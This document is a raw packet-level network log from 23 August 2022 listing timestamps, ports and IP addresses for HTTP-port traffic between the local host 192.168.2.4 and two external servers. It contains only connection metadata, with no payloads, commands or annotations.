Aug 23, 2022 03:42:56.303343058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303369999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303374052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303404093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303421974 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303510904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303575039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303616047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303620100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303628922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303646088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303672075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303679943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303689003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303708076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303726912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303742886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303744078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303760052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303772926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303778887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303800106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303813934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303817034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303832054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303847075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.303849936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303906918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.303915977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.306140900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306248903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306315899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.306335926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306349993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306365967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306375027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.306406975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.306411028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306443930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.306488037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306502104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306524992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.306529045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306540966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.306571007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306591988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.306605101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.306616068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306629896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306663990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.306780100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.306816101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.307961941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.308032036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310033083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310050011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310069084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310106039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310134888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310137987 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310158968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310168982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310173035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310192108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310208082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310210943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310234070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310250044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310264111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310264111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310281992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310298920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310321093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310340881 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310353041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310373068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310374975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310386896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310404062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310420036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310444117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310462952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310482025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310501099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310525894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310528040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310555935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310615063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310658932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310677052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310697079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310698986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310717106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310733080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310735941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310750008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.310750961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.310785055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.318317890 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.318511963 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.329346895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.329400063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.329473972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.329524040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.329525948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.329569101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.329574108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.329602003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.329618931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.329622030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.329658031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.329668045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.329700947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.333412886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.333467007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.333513975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.333537102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.333545923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.333569050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.333590984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.333596945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.333638906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.333640099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.333678961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.333683014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.333718061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.333722115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.333756924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.334508896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.334556103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.334569931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.334595919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.334600925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.334633112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.334639072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.334671021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.334677935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.334722042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.334742069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.334770918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.334816933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.334825039 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.334923029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.334968090 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.334979057 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.335012913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335057020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335061073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.335103035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.335149050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335153103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.335155010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.335191965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335195065 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.335236073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.335280895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.335284948 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.335311890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.335313082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.335325003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.335360050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.335395098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335441113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335444927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.335484028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335534096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.335535049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.335578918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.335622072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.335623026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.335654020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.335660934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.335695982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.335696936 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335738897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335746050 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.335783005 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335827112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335832119 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.335870981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335916042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.335921049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.335958958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.336002111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.336004972 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.336009979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.336042881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.336047888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.336081028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.336098909 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.336122036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.336131096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336179018 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336222887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336236954 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.336267948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336312056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336321115 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.336347103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.336360931 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.336374044 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336422920 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336464882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336510897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336556911 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336604118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336652994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336666107 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.336678982 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.336683035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.336699009 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.336744070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.336791039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.336791992 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.336803913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.336833954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.336838007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.336884022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.336894989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.336937904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.336980104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.337014914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.337060928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337100029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.337105989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.337107897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337142944 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.337152958 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337160110 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.337198019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.337198973 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.337245941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.337291956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.337294102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.337327003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.337352991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.337377071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337404966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.337424994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337446928 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.337469101 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.337474108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337517023 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337522984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.337564945 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337618113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337632895 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.337667942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.337717056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337755919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.337764025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.337766886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.337815046 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.337816954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.337825060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.337848902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.337867022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.337897062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337941885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337949991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.337955952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.337987900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.337990046 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338031054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338077068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338082075 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338128090 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338176012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338181973 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338238955 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338275909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338291883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338313103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338320017 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338349104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338383913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338398933 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338421106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338428974 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338457108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338490009 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338505983 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338526011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338558912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338573933 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338594913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338602066 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338629961 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338664055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338676929 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338700056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338740110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338772058 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338776112 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338805914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338809013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338835955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338839054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338845015 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338872910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338884115 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338908911 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338916063 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338943005 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338951111 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.338978052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.338988066 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339015007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339031935 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339049101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339067936 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339082956 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339092970 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339118004 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339124918 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339152098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339179993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339185953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339189053 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339220047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339231968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.339253902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339263916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339289904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339323997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339338064 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339390039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339412928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339440107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339443922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.339492083 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339510918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.339529991 CEST	49792	80	192.168.2.4	135.181.104.248
